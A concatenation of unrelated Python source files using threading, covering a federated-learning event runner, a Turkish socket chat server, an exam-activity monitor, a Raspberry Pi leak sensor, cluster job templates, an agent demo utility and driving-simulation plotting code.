subprocess.call(["ifdown", "--force", self.interface], shell=False) # subprocess.call(["ifup", "--force", self.interface], shell=False) time.sleep(5) if __name__ == '__main__': # app = QtGui.QApplication(sys.argv) app = QtWidgets.QApplication(sys.argv) # Intialize the library (must be called once before other functions). # Creates an object of type MainUiClass MainWindow = MainUiClass() MainWindow.show() # MainWindow.showFullScreen() # MainWindow.setWindowFlags(QtCore.Qt.FramelessWindowHint) # Create NeoPixel object with appropriate configuration. # charm = FlickCharm() # charm.activateOn(MainWindow.FileListWidget) sys.exit(app.exec_())
fed_event.py
# Copyright (c) 2021-2022, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import threading import time from nvflare.apis.client_engine_spec import ClientEngineSpec from nvflare.apis.event_type import EventType from nvflare.apis.fl_constant import EventScope, FedEventHeader, FLContextKey, ReservedKey, ReturnCode from nvflare.apis.fl_context import FLContext from nvflare.apis.server_engine_spec import ServerEngineSpec from nvflare.apis.shareable import Shareable, make_reply from nvflare.widgets.widget import Widget FED_EVENT_TOPIC = "fed.event" class FedEventRunner(Widget): def __init__(self, topic=FED_EVENT_TOPIC): """ Args: topic: """ Widget.__init__(self) self.topic = topic self.abort_signal = None self.asked_to_stop = False self.engine = None self.last_timestamps = {} # client name => last_timestamp self.in_events = [] self.in_lock = threading.Lock() self.poster = threading.Thread(target=self._post, args=()) def handle_event(self, event_type: str, fl_ctx: FLContext): if event_type == EventType.START_RUN: self.engine = fl_ctx.get_engine() self.engine.register_aux_message_handler(topic=self.topic, message_handle_func=self._receive) self.abort_signal = fl_ctx.get_run_abort_signal() self.asked_to_stop = False self.poster.start() elif event_type == EventType.END_RUN: self.asked_to_stop = True if self.poster.is_alive(): self.poster.join() else: # handle outgoing fed events event_scope = fl_ctx.get_prop(key=FLContextKey.EVENT_SCOPE, default=EventScope.LOCAL) if event_scope != EventScope.FEDERATION: return event_data = fl_ctx.get_prop(FLContextKey.EVENT_DATA, None) if not isinstance(event_data, Shareable): self.log_error(fl_ctx, "bad fed event: expect data to be Shareable but got {}".format(type(event_data))) return direction = event_data.get_header(FedEventHeader.DIRECTION, "out") if direction != "out": # ignore incoming events return event_data.set_header(FedEventHeader.EVENT_TYPE, event_type) event_data.set_header(FedEventHeader.ORIGIN, fl_ctx.get_identity_name()) event_data.set_header(FedEventHeader.TIMESTAMP, time.time()) targets = event_data.get_header(FedEventHeader.TARGETS, None) self.fire_and_forget_request(request=event_data, fl_ctx=fl_ctx, targets=targets) def fire_and_forget_request(self, request: Shareable, fl_ctx: FLContext, targets=None): pass def _receive(self, topic: str, request: Shareable, fl_ctx: FLContext) -> Shareable: peer_name = request.get_peer_prop(ReservedKey.IDENTITY_NAME, None) if not peer_name: self.log_error(fl_ctx, "missing identity name of the data sender") return make_reply(ReturnCode.MISSING_PEER_CONTEXT) timestamp = request.get_header(FedEventHeader.TIMESTAMP, None) if timestamp is None: self.log_error(fl_ctx, "missing timestamp in incoming fed event") return make_reply(ReturnCode.BAD_REQUEST_DATA) event_type = request.get_header(FedEventHeader.EVENT_TYPE, None) if event_type is None: self.log_error(fl_ctx, "missing event_type in incoming fed event") return make_reply(ReturnCode.BAD_REQUEST_DATA) with self.in_lock: last_timestamp = self.last_timestamps.get(peer_name, None) if last_timestamp is None or timestamp > last_timestamp: # we only keep new items, in case the peer somehow sent old items request.set_header(FedEventHeader.DIRECTION, "in") self.in_events.append(request) self.last_timestamps[peer_name] = timestamp # NOTE: we do not fire event here since event process could take time. # Instead we simply add the package to the queue and return quickly. # The posting of events will be handled in the poster thread return make_reply(ReturnCode.OK) def _post(self): sleep_time = 0.1 while True: time.sleep(sleep_time) if self.asked_to_stop or self.abort_signal.triggered: break with self.in_lock: if len(self.in_events) <= 0: continue event_to_post = self.in_events.pop(0) assert isinstance(event_to_post, Shareable) if self.asked_to_stop or self.abort_signal.triggered: break with self.engine.new_context() as fl_ctx: assert isinstance(fl_ctx, FLContext) fl_ctx.set_prop(key=FLContextKey.EVENT_DATA, value=event_to_post, private=True, sticky=False) fl_ctx.set_prop(key=FLContextKey.EVENT_SCOPE, value=EventScope.FEDERATION, private=True, sticky=False) event_type = event_to_post.get_header(FedEventHeader.EVENT_TYPE) self.engine.fire_event(event_type=event_type, fl_ctx=fl_ctx) class ServerFedEventRunner(FedEventRunner): def __init__(self, topic=FED_EVENT_TOPIC): FedEventRunner.__init__(self, topic) def fire_and_forget_request(self, request: Shareable, fl_ctx: FLContext, targets=None): assert isinstance(self.engine, ServerEngineSpec) self.engine.fire_and_forget_aux_request( topic=self.topic, targets=targets, request=request, fl_ctx=fl_ctx, ) class ClientFedEventRunner(FedEventRunner): def __init__(self, topic=FED_EVENT_TOPIC): FedEventRunner.__init__(self, topic) def fire_and_forget_request(self, request: Shareable, fl_ctx: FLContext, targets=None): assert isinstance(self.engine, ClientEngineSpec) self.engine.fire_and_forget_aux_request(topic=self.topic, request=request, fl_ctx=fl_ctx)
server2.py
import socket import threading import time s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) serverRunning = True ip = "127.0.0.1" port = 25565 app = {} app["anaoda"] = {} con = [] s.bind((ip, port)) #Sunucu belirtilen ip ve porta bağlandı. s.listen() print("Sunucu Hazır...") print("Sunucu ip adresi::%s"%ip) def foo(): numberroom = list(app.keys()) name = list(app["anaoda"].keys()) msg4 ="\n".join(numberroom) msg6="\n".join(name) client.send("MSAGE Güncelleniyor...".encode("utf8")) client.send(msg4.encode("utf8")) client.send(msg6.encode("utf8")) threading.Timer(100, foo).start() def hall(client, username, app): clientConnected = True while clientConnected: msg = client.recv(1024).decode("utf8") msg2 = str(username)+":"+msg name = list(app["anaoda"].keys()) print(app["anaoda"].items) try: for k,v in app["anaoda"].items(): v.send(msg2.encode("utf8")) if "**online" in msg: msg2="\n".join(name) client.send(msg2.encode("utf8")) if "**yenioda" in msg: client.send("Yeni odanın adını yazınız".encode("utf8")) newroomname = client.recv(1024).decode("utf8") app[newroomname] = {} app["anaoda"].pop(username) print(app) roomConnected = True room(client, username, app, roomConnected, newroomname) if "**odasayisi" in msg: numberroom = list(app.keys()) msg4 ="\n".join(numberroom) client.send(msg4.encode("utf8")) if "**odayagir" in msg: client.send("Gireceğiniz odanın adını söyleyiniz.".encode("utf8")) joinedroom = client.recv(1024).decode("utf8") numberroom2 = list(app.keys()) if joinedroom in numberroom2: app["anaoda"].pop(username) roomConnected = True joinroom(client, username, app, roomConnected, joinedroom) else: client.send("Böyle bir oda bulunamadı".encode("utf8")) if "**quit" in msg: app["anaoda"].pop(username) client.close() clientConnected = False except: print("Hata") def room(client, username, app, roomConnected, newroomname): while roomConnected: app[newroomname][username] = client msgroom = client.recv(1024).decode("utf8") msg2room = str(username)+":"+msgroom nameroom = list(app[newroomname].keys()) try: for x,y in app[newroomname].items(): y.send(msg2room.encode("utf8")) if "**online" in msgroom: msg2room="\n".join(nameroom) client.send(msg2room.encode("utf8")) if "**odasayisi" in msgroom: numberroom = list(app.keys()) msg4 ="\n".join(numberroom) client.send(msg4.encode("utf8")) if "**odadançık" in msgroom: app[newroomname].pop(username) app["anaoda"][username] = client roomConnected = False hall(client, username, app) except: print("Oda hatası") def joinroom(client, username, app, roomConnected, joinedroom): while roomConnected: app[joinedroom][username] = client msgroom2 = client.recv(1024).decode("utf8") msg2room2 = str(username)+":"+msgroom2 nameroom2 = list(app[joinedroom].keys()) try: for t,k in app[joinedroom].items(): k.send(msg2room2.encode("utf8")) if "**online" in msg: msg2room2="\n".join(nameroom2) client.send(msg2room2.encode("utf8")) if "**odasayisi" in msgroom: numberroom = list(app.keys()) msg4 ="\n".join(numberroom) client.send(msg4.encode("utf8")) if "**odadançık" in msgroom: app[newroomname].pop(username) app["anaoda"][username] = client roomConnected = False hall(client, username, app) except: print("Oda hatası") while serverRunning: client, address = s.accept() username = client.recv(1024).decode("utf8") numberroom = list(app.keys()) msg7 ="\n".join(numberroom) client.send(msg7.encode("utf8")) print("%s sunucuya giriş yaptı"%str(username)) con.append(client) if username not in app["anaoda"].keys(): app["anaoda"][username] = client name = list(app["anaoda"].keys()) msg77="\n".join(name) client.send(msg77.encode("utf8")) print(app["anaoda"]) time.sleep(1) print(app["anaoda"][username]) aa = "Sunucuda yeni arkadaşlar var!" print("\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\n") for i in con: print(i) i.send(bytes(aa,"utf8")) i.send(msg77.encode("utf8")) print("xxxxyaptıxxxxx") #client.send(msg77.encode("utf8")) time.sleep(5) client.send("Herhangi bir zorluk yaşadığın zaman **yardım komutu ile yardım alabilirsin!".encode("utf8")) threading.Thread(target = hall, args = (client, username, app)).start() else: client.send("Böyle bir kullanıcı bulunmakta başka bir isim seç.")
check.py
import psutil # pip install psutil import os import requests as re import time import bluetooth from pynput import mouse import threading exam = True class blut(object): def __init__(self): self.time = 3 self.name = ['Galaxy Buds (1CCD)'] def skan(self): devices = bluetooth.discover_devices(duration=self.time, lookup_names=True, flush_cache=True, lookup_class=False) return devices def check(self): d = self.skan() for i in range(len(d)): #print(d[i][1]) if d[i][1] in self.name: print('bluetuse устройство:' + str(d[i][1])) message('bluetuse detection:'+str(d[i][1])) time.sleep(5) return [1,'bluetuse detection:',d[i][1]] return [0,'bluetuse detection:'] class internet(object): def __init__(self): self.myhost = 'http://127.0.0.1:8000/stream/screen/' self.chechost = 'https://yandex.ru/' def internet_check(self,url): try: r = re.get(url) if r.status_code==200: return True else: return False except: return False def check(self): x = self.internet_check(self.myhost) y = self.internet_check(self.chechost) if x and y: print('good internet') return [0,'internet control: ','good internet'] elif y: print('no conection server') return [1,'internet control: ','no conection server'] else: print('no internet') return [2,'internet control: ','no internet'] class program(object): def __init__(self): self.proc_name = ['chrome.exe','Discord.exe','steam.exe', 'obs64.exe'] self.prog = {} self.clean() def clean(self): for i in range(len(self.proc_name)): self.prog[self.proc_name[i]]=0 def check(self): mas = [0, 'start program:'] for proc in psutil.process_iter(): for i in self.proc_name: if proc.name() == i: # self.prog[i]=1 #os.system("taskkill /f /im "+i) for i in self.proc_name: if self.prog[i]==1: print ("Process {} started".format(i)) mas.append(i) mas[0]=1 if mas[0] == 1: send ='' send='start program:' mas.remove(mas[0]) mas.remove(mas[0]) for i in range(len(mas)): send=send+'+'+ str(mas[i]) message(send) time.sleep(5) return [0] class kontroler(object): def __init__(self): self.internet= internet() self.program=program() self.bluetuse = blut() def send(self,info): re.get() def start(self): i =self.internet.check() p = self.program.check() b = self.bluetuse.check() print(i) print(p) print(b) return [i,p,b] def message(send): try: re.get('http://127.0.0.1:8000/mes/'+str(send)) print(send) except: print('ошибка отправки') class main(object): def __init__(self): self.k = kontroler() def start(self): while onexam(): #send ='' rez= self.k.start() '''for i in rez: if i[0]: send=send + ' ' + str(i[1]) + str(i[2]) i.remove(i[0]) i.remove(i[0]) i.remove(i[0]) for j in range(len(i)): send=send + ' ' + str(i[j]) if send: message(send) time.sleep(10)''' def run(self): t1 = threading.Thread(target=self.start()) #t2 = threading.Thread(target=self.mouse()) t1.start() #t2.sart() t1.join() #t2.join() def onexam(): global exam return exam def chenge(): global exam exam = not exam def on_move(x, y): if not onexam(): # Stop listener return False def on_click(x, y, button, pressed): print('{0} at {1}'.format( 'Pressed' if pressed else 'Released', (x, y))) message('clik mouse detected') if not onexam(): # Stop listener return False def on_scroll(x, y, dx, dy): print('Scrolled {0} at {1}'.format( 'down' if dy < 0 else 'up', (x, y))) message('scroll mouse detected') if not onexam(): # Stop listener return False # Collect events until released m = main() m.run()
__main__.py
#!/usr/bin/python3 import threading import time from conf import config from firebaseService import FirebaseService, FirebaseMessagingData from custom_rpi_rf import CustomRpiRf def main(): service = FirebaseService() myrf = CustomRpiRf() receive_device = myrf.get_rfdevice_receive() def my_listener(event): print(event.event_type) # can be 'put' or 'patch' print(event.path) print(event.data) rf_code_water_leak = config.rf_codes['water_leak'] if event.data: myrf.send_signal(rf_code_water_leak['valve_on']) else: myrf.send_signal(rf_code_water_leak['valve_off']) def my_thread(): timestamp = None while True: if receive_device.rx_code_timestamp != timestamp: timestamp = receive_device.rx_code_timestamp if receive_device.rx_code == config.rf_codes['water_leak']['valve_off']: print("Signal received") service.send_to_topic(FirebaseMessagingData( channel_id=config.firebase['channel_ids']["water_leak"], title='Oops!', message='Water leak detected!')) service.setValve(False) time.sleep(0.5) t1 = threading.Thread(target=my_thread) t1.start() service.startListenerValve(my_listener) if __name__ == "__main__": main()
scripts.py
qscript = """ ### Script for setting qsub configuration and calling Python script ### Set number of nodes: Set number of cores #PBS -l nodes={}:ppn={} ### Set walltime #PBS -l walltime={} ### Set amount of memory #PBS -l mem={} ### Set CPU time ([[h:]m:]s). #PBS -l cput={} {} """ #------------------------------------------------------------------------------ pyscript = """ import subprocess PYTHON_VERSION = {} script = ''' import pickle import shutil import sys import os temp_dir = '{}' try: with open(os.path.join(temp_dir,'fnc.pkl'),'rb') as f: fnc = pickle.loads(f.read()) with open(os.path.join(temp_dir,'args.pkl'),'rb') as f: args = pickle.loads(f.read()) output = fnc(args) except Exception as e: output = e with open(os.path.join(temp_dir,'result.pkl'),'wb') as f: f.write(pickle.dumps(output)) ''' if PYTHON_VERSION == 2: subprocess.call(["python2","-c",script]) else: subprocess.call(["python3","-c",script]) """ #------------------------------------------------------------------------------ session_pyscript = """ #-*- encoding: utf-8 -*- import subprocess import threading import time import dill import sys import os PYTHON_VERSION = {} script = ''' import importlib import threading import pickle import string import dill import time import sys import os job_dir = \"{}\" def run_job(func_file,args_file,num): with open(func_file,"rb") as f: fnc = pickle.load(f) with open(args_file,"rb") as f: print(args_file) myargs = pickle.load(f) if not isinstance(myargs,list): myargs = [myargs] try: output = fnc(*myargs) except Exception as e: output = e with open(os.path.join(job_dir,"res"+str(num)+".pkl"),"wb") as f: pickle.dump(output,f) jobs = [n for n in os.listdir(job_dir) if 'fnc' in n] print(jobs) n_jobs = len(jobs) for job in jobs: print(job) func_file = os.path.join(job_dir,job) num = int(job.split('.')[0][-1]) args_file = os.path.join(job_dir,'args'+str(num)+'.pkl') thread = threading.Thread(target=run_job,args=(func_file,args_file,num)) thread.daemon = False thread.start() while True: finished = True for i in range(num): if not os.path.exists(os.path.join(job_dir,"args"+str(num)+".pkl")): finished = False time.sleep(1e-1) if finished: break ''' if PYTHON_VERSION == 2: subprocess.call(["python2","-c",script]) else: subprocess.call(["python3","-c",script]) """
demo_utils.py
import subprocess import time import threading import os import json import web import logging #################################################### # run background services to receive web hooks #################################################### # agent webhook callbacks class webhooks: def GET(self, topic): # just for testing; all indy-cat agent hooks are POST requests s_print("GET: topic=", topic) return "" def POST(self, topic): message = json.loads(web.data()) # dispatch based on the topic type if topic == "connections": return self.handle_connections(message["state"], message) elif topic == "credentials": return self.handle_credentials(message["state"], message) elif topic == "presentations": return self.handle_presentations(message["state"], message) elif topic == "get-active-menu": return self.handle_get_active_menu(message) elif topic == "perform-menu-action": return self.handle_perform_menu_action(message) else: s_print("Callback: topic=", topic, ", message=", message) return "" return self.handle_connections(message["state"], message) def handle_connections(self, state, message): conn_id = message["connection_id"] s_print("Connection: state=", state, ", connection_id=", conn_id) return "" def handle_credentials(self, state, message): credential_exchange_id = message["credential_exchange_id"] s_print( "Credential: state=", state, ", credential_exchange_id=", credential_exchange_id, ) return "" def handle_presentations(self, state, message): presentation_exchange_id = message["presentation_exchange_id"] s_print( "Presentation: state=", state, ", presentation_exchange_id=", presentation_exchange_id, ) return "" def handle_get_active_menu(self, message): s_print("Get active menu: message=", message) return "" def handle_perform_menu_action(self, message): s_print("Handle menu action: message=", message) return "" def background_hook_service(urls, g_vars): # run app and respond to agent webhook callbacks (run in background) # port number has to be the first command line arguement # pass in urls app = web.application(urls, g_vars) app.run() def background_hook_thread(urls, g_vars): # run app and respond to agent webhook callbacks (run in background) webhook_thread = threading.Thread( target=background_hook_service, args=(urls, g_vars) ) webhook_thread.daemon = True webhook_thread.start() print("Web hooks is running!") return webhook_thread #################################################### # postgres wallet stuff #################################################### #################################################### # run indy-cat agent as a sub-process #################################################### s_print_lock = threading.Lock() def s_print(*a, **b): """Thread safe print function""" with s_print_lock: print(*a, **b) def output_reader(proc): for line in iter(proc.stdout.readline, b""): s_print("got line: {0}".format(line.decode("utf-8")), end="") pass def stderr_reader(proc): for line in iter(proc.stderr.readline, b""): s_print("got line: {0}".format(line.decode("utf-8")), end="") pass def write_agent_startup_script(agent_name, agent_args): cmd = "" for arg in agent_args: if '{' in arg: cmd = cmd + "'" + arg + "' " else: cmd = cmd + arg + " " file2 = open(agent_name,"w+") file2.write(cmd) file2.close() def start_agent_subprocess(agent_name, genesis, seed, endpoint_url, in_port_1, in_port_2, in_port_3, admin_port, wallet_type, wallet_name, wallet_key, python_path, webhook_url, scripts_dir, run_subprocess=True): my_env = os.environ.copy() my_env["PYTHONPATH"] = python_path # start and expose a REST callback service my_env["WEBHOOK_URL"] = webhook_url print("Webhook url is at", my_env["WEBHOOK_URL"]) # start agent sub-process agent_args = ['python3', scripts_dir + 'icatagent', '--inbound-transport', 'http', '0.0.0.0', str(in_port_1), '--inbound-transport', 'http', '0.0.0.0', str(in_port_2), '--inbound-transport', 'ws', '0.0.0.0', str(in_port_3), '--endpoint', endpoint_url, '--outbound-transport', 'ws', '--outbound-transport', 'http', '--genesis-transactions', genesis, '--auto-respond-messages', '--accept-invites', '--accept-requests', '--auto-ping-connection', '--wallet-type', wallet_type, '--wallet-name', wallet_name, '--wallet-key', wallet_key, '--seed', seed, '--admin', '0.0.0.0', str(admin_port), '--label', agent_name] use_postgres = False if use_postgres: agent_args.extend(['--wallet-storage-type', 'postgres_storage', '--wallet-storage-config', '{"url":"localhost:5432","max_connections":5}', '--wallet-storage-creds', '{"account":"postgres","password":"mysecretpassword","admin_account":"postgres","admin_password":"mysecretpassword"}', ]) # what are we doing? write out to a command file write_agent_startup_script(agent_name + ".sh", agent_args) if run_subprocess: # now startup our sub-process agent_proc = subprocess.Popen(agent_args, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=my_env) time.sleep(0.5) t1 = threading.Thread(target=output_reader, args=(agent_proc,)) t1.start() t2 = threading.Thread(target=stderr_reader, args=(agent_proc,)) t2.start() return (agent_proc, t1, t2) else: # pause and tell user to manually run script print("Please run PYTHONPATH=.. ./" + agent_name + ".sh and then hit <enter> to continue") option = input("Do it!") return (None, None, None)
plot_data.py
from __future__ import annotations import threading from dataclasses import dataclass, field from pathlib import Path from typing import Any, Dict, List, NamedTuple, Optional, Union import numpy as np from bokeh.models import ( Button, ColumnDataSource, GlyphRenderer, HoverTool, LayoutDOM, Legend, Line, MultiLine, MultiPolygons, Slider, ) from bokeh.plotting import figure from nuplan.common.actor_state.oriented_box import OrientedBox from nuplan.common.actor_state.state_representation import Point2D, StateSE2 from nuplan.common.actor_state.vehicle_parameters import VehicleParameters from nuplan.common.geometry.transform import translate_longitudinally from nuplan.common.maps.abstract_map_objects import LaneConnector from nuplan.common.maps.maps_datatypes import SemanticMapLayer, TrafficLightStatusData from nuplan.planning.nuboard.style import ( simulation_map_layer_color, simulation_tile_agent_style, simulation_tile_style, simulation_tile_trajectory_style, ) class BokehAgentStates(NamedTuple): """Agent states in bokeh.""" xs: List[List[List[List[float]]]] # [m], [[list of [[Polygon connected corners in x]]]] ys: List[List[List[List[float]]]] # [m], [[list of [[Polygon connected corners in y]]]] agent_type: List[str] # A list of agent's category track_id: List[Union[int, float]] # A list of agent's track id track_token: List[str] # A list of agent's track token @dataclass(frozen=True) class MapPoint: """A dataclass to render map polygons in scenario.""" point_2d: List[List[Point2D]] = field(default_factory=list) # A list of a list of 2D points @property def polygon_xs(self) -> List[List[List[List[float]]]]: """Return a list of xs from point 2d to render polygons.""" polygon_xs = [] for points in self.point_2d: xs = [] for point in points: xs.append(point.x) polygon_xs.append([[xs]]) return polygon_xs @property def polygon_ys(self) -> List[List[List[List[float]]]]: """Return a list of ys from point 2d to render polygons.""" polygon_ys = [] for points in self.point_2d: ys = [] for point in points: ys.append(point.y) polygon_ys.append([[ys]]) return polygon_ys @property def line_xs(self) -> List[List[float]]: """Return a list of xs from point 2d to render lines.""" line_xs = [] for points in self.point_2d: xs = [] for point in points: xs.append(point.x) line_xs.append(xs) return line_xs @property def line_ys(self) -> List[List[float]]: """Return a list of ys from point 2d to render lines.""" line_ys = [] for points in self.point_2d: ys = [] for point in points: ys.append(point.y) line_ys.append(ys) return line_ys @dataclass(frozen=True) class TrafficLightMapLine(MapPoint): """Line plot data in traffic light map.""" line_colors: List[str] = field(default_factory=list) # A list of color hex codes. line_color_alphas: List[float] = field(default_factory=list) # A list of color alphas. @dataclass class TrafficLightPlot: """A dataclass for traffic light plot.""" data_sources: Dict[int, ColumnDataSource] = field(default_factory=dict) # A dict of data sources for each frame plot: Optional[MultiLine] = None # A bokeh glyph element condition: Optional[threading.Condition] = None # Threading condition def __post_init__(self) -> None: """Initialize threading condition.""" if not self.condition: self.condition = threading.Condition(threading.Lock()) def update_plot(self, main_figure: figure, frame_index: int) -> None: """ Update the plot. :param main_figure: The plotting figure. :param frame_index: Frame index. """ if not self.condition: return with self.condition: while self.data_sources.get(frame_index, None) is None: self.condition.wait() data_sources = dict(self.data_sources[frame_index].data) if self.plot is None: self.plot = main_figure.multi_line( xs="xs", ys="ys", line_color="line_colors", line_alpha="line_color_alphas", line_width=3.0, line_dash="dashed", source=data_sources, ) else: self.plot.data_source.data = data_sources def update_data_sources(self, scenes: Dict[Path, Any], lane_connectors: Dict[str, LaneConnector]) -> None: """ Update traffic light status datasource of each frame. :param scenes: A dictionary of scenes with Pathlib and tehir simulation data. :param lane_connectors: Lane connectors. """ if not self.condition: return with self.condition: for frame_index, (scene_name, scene) in enumerate(scenes.items()): if "traffic_light_status" not in scene: continue traffic_light_status: List[Dict[str, Any]] = scene["traffic_light_status"] traffic_light_map_line = TrafficLightMapLine(point_2d=[], line_colors=[], line_color_alphas=[]) lane_connector_colors = simulation_map_layer_color[SemanticMapLayer.LANE_CONNECTOR] for traffic_light_data in traffic_light_status: traffic_light: TrafficLightStatusData = TrafficLightStatusData.deserialize(data=traffic_light_data) lane_connector = lane_connectors.get(str(traffic_light.lane_connector_id), None) if lane_connector is not None: path = lane_connector.baseline_path().discrete_path() points = [Point2D(x=pose.x, y=pose.y) for pose in path] traffic_light_map_line.line_colors.append(traffic_light.status.name) traffic_light_map_line.line_color_alphas.append(lane_connector_colors["line_color_alpha"]) traffic_light_map_line.point_2d.append(points) line_source = ColumnDataSource( dict( xs=traffic_light_map_line.line_xs, ys=traffic_light_map_line.line_ys, line_colors=traffic_light_map_line.line_colors, line_color_alphas=traffic_light_map_line.line_color_alphas, ) ) self.data_sources[frame_index] = line_source self.condition.notify() @dataclass class EgoStatePlot: """A dataclass for ego state plot.""" vehicle_parameters: VehicleParameters # Ego vehicle parameters data_sources: Dict[int, ColumnDataSource] = field(default_factory=dict) # A dict of data sources for each frame init_state: bool = True # True to indicate it is in init state plot: Optional[MultiPolygons] = None # A bokeh glyph element condition: Optional[threading.Condition] = None # Threading condition def __post_init__(self) -> None: """Initialize threading condition.""" if not self.condition: self.condition = threading.Condition(threading.Lock()) def update_plot(self, main_figure: figure, radius: float, frame_index: int) -> None: """ Update the plot. :param main_figure: The plotting figure. :param radius: Figure radius. :param frame_index: Frame index. """ if not self.condition: return with self.condition: while self.data_sources.get(frame_index, None) is None: self.condition.wait() data_sources = dict(self.data_sources[frame_index].data) center_x = data_sources["x"][0] center_y = data_sources["y"][0] if self.plot is None: self.plot = main_figure.multi_polygons( xs="xs", ys="ys", fill_color=simulation_tile_agent_style["ego"]["fill_color"], fill_alpha=simulation_tile_agent_style["ego"]["fill_alpha"], line_color=simulation_tile_agent_style["ego"]["line_color"], line_width=simulation_tile_agent_style["ego"]["line_width"], source=data_sources, ) ego_hover = HoverTool( renderers=[self.plot], tooltips=[("x", "$x{0.2f}"), ("y", "$y{0.2f}"), ("Type", "Ego")] ) main_figure.add_tools(ego_hover) else: self.plot.data_source.data = data_sources if self.init_state: main_figure.x_range.start = center_x - radius / 2 main_figure.x_range.end = center_x + radius / 2 main_figure.y_range.start = center_y - radius / 2 main_figure.y_range.end = center_y + radius / 2 self.init_state = False else: x_radius = main_figure.x_range.end - main_figure.x_range.start y_radius = main_figure.y_range.end - main_figure.y_range.start main_figure.x_range.start = center_x - x_radius / 2 main_figure.x_range.end = center_x + x_radius / 2 main_figure.y_range.start = center_y - y_radius / 2 main_figure.y_range.end = center_y + y_radius / 2 def update_data_sources(self, scenes: Dict[Path, Any]) -> None: """ Update ego_pose state data sources. :param scenes: A dictionary of scenes with Pathlib and tehir simulation data. """ if not self.condition: return with self.condition: for frame_index, (scene_name, scene) in enumerate(scenes.items()): ego_state: Dict[str, Any] = scene["ego"] pose = ego_state["pose"] ego_state_se: StateSE2 = StateSE2(x=pose[0], y=pose[1], heading=pose[2]) ego_pose = OrientedBox( center=ego_state_se, width=self.vehicle_parameters.width, length=self.vehicle_parameters.length, height=self.vehicle_parameters.height, ) ego_corners = ego_pose.all_corners() corner_xs = [corner.x for corner in ego_corners] corner_ys = [corner.y for corner in ego_corners] # Connect to the first point corner_xs.append(corner_xs[0]) corner_ys.append(corner_ys[0]) source = ColumnDataSource( dict(x=[ego_state_se.x], y=[ego_state_se.y], xs=[[[corner_xs]]], ys=[[[corner_ys]]]) ) self.data_sources[frame_index] = source self.condition.notify() @dataclass class EgoStateTrajectoryPlot: """A dataclass for ego state trajectory plot.""" data_sources: Dict[int, ColumnDataSource] = field(default_factory=dict) # A dict of data sources for each frame plot: Optional[Line] = None # A bokeh glyph element condition: Optional[threading.Condition] = None # Threading condition def __post_init__(self) -> None: """Initialize threading condition.""" if not self.condition: self.condition = threading.Condition(threading.Lock()) def update_plot(self, main_figure: figure, frame_index: int) -> None: """ Update the plot. :param main_figure: The plotting figure. :param frame_index: Frame index. """ if not self.condition: return with self.condition: while self.data_sources.get(frame_index, None) is None: self.condition.wait() data_sources = dict(self.data_sources[frame_index].data) if self.plot is None: self.plot = main_figure.line( x="xs", y="ys", line_color=simulation_tile_trajectory_style["ego"]["line_color"], line_width=simulation_tile_trajectory_style["ego"]["line_width"], line_alpha=simulation_tile_trajectory_style["ego"]["line_alpha"], source=data_sources, ) else: self.plot.data_source.data = data_sources def update_data_sources(self, scenes: Dict[Path, Any]) -> None: """ Update ego_pose trajectory data sources. :param scenes: A dictionary of scenes with Pathlib and their simulation data. """ if not self.condition: return with self.condition: for frame_index, (scene_name, scene) in enumerate(scenes.items()): trajectory: List[Dict[str, Any]] = scene["trajectories"]["ego_predicted_trajectory"]["states"] x_coords = [] y_coords = [] for state in trajectory: x_coords.append(state["pose"][0]) y_coords.append(state["pose"][1]) source = ColumnDataSource(dict(xs=x_coords, ys=y_coords)) self.data_sources[frame_index] = source self.condition.notify() @dataclass class AgentStatePlot: """A dataclass for agent state plot.""" data_sources: Dict[int, Dict[str, ColumnDataSource]] = field(default_factory=dict) # A dict of data for each frame plots: Dict[str, GlyphRenderer] = field(default_factory=dict) # A dict of plots for each type track_id_history: Optional[Dict[str, int]] = None # Track id history condition: Optional[threading.Condition] = None # Threading condition def __post_init__(self) -> None: """Initialize threading condition.""" if not self.condition: self.condition = threading.Condition(threading.Lock()) if not self.track_id_history: self.track_id_history = {} def _get_track_id(self, track_id: str) -> Union[int, float]: """ Get a number representation for track ids. :param track_id: Agent track id. :return A number representation for a track id. """ if track_id == "null" or not self.track_id_history: return np.nan number_track_id = self.track_id_history.get(track_id, None) if not number_track_id: self.track_id_history[track_id] = len(self.track_id_history) number_track_id = len(self.track_id_history) return number_track_id def update_plot(self, main_figure: figure, frame_index: int) -> None: """ Update the plot. :param main_figure: The plotting figure. :param frame_index: Frame index. """ if not self.condition: return with self.condition: while self.data_sources.get(frame_index, None) is None: self.condition.wait() data_sources = self.data_sources.get(frame_index, None) if not data_sources: return for category, data_source in data_sources.items(): plot = self.plots.get(category, None) data = dict(data_source.data) if plot is None: agent_color = simulation_tile_agent_style.get(category) self.plots[category] = main_figure.multi_polygons( xs="xs", ys="ys", fill_color=agent_color["fill_color"], fill_alpha=agent_color["fill_alpha"], line_color=agent_color["line_color"], line_width=agent_color["line_width"], source=data, ) agent_hover = HoverTool( renderers=[self.plots[category]], tooltips=[ ("x", "$x{0.2f}"), ("y", "$y{0.2f}"), ("Type", "@agent_type"), ("Track id", "@track_id"), ("Track token", "@track_token"), ], ) main_figure.add_tools(agent_hover) else: self.plots[category].data_source.data = data def update_data_sources(self, scenes: Dict[Path, Any]) -> None: """ Update agents data sources. :param scenes: A dictionary of scenes with Pathlib and their simulation data. """ if not self.condition: return with self.condition: for frame_index, (scene_name, scene) in enumerate(scenes.items()): observations: Dict[str, List[Dict[str, Any]]] = scene["world"] frame_dict = {} for category, predictions in observations.items(): corner_xs = [] corner_ys = [] track_ids = [] track_tokens = [] agent_types = [] for prediction in predictions: pose = prediction["box"]["pose"] sizes = prediction["box"]["size"] state = StateSE2(x=pose[0], y=pose[1], heading=pose[2]) agent_types.append(prediction["type"]) track_ids.append(self._get_track_id(prediction["id"])) track_tokens.append(prediction["id"]) # Set the height to a NaN number since we don't need it oriented_box = OrientedBox(center=state, width=sizes[0], length=sizes[1], height=np.nan) agent_corners = oriented_box.all_corners() corners_x = [corner.x for corner in agent_corners] corners_y = [corner.y for corner in agent_corners] corners_x.append(corners_x[0]) corners_y.append(corners_y[0]) 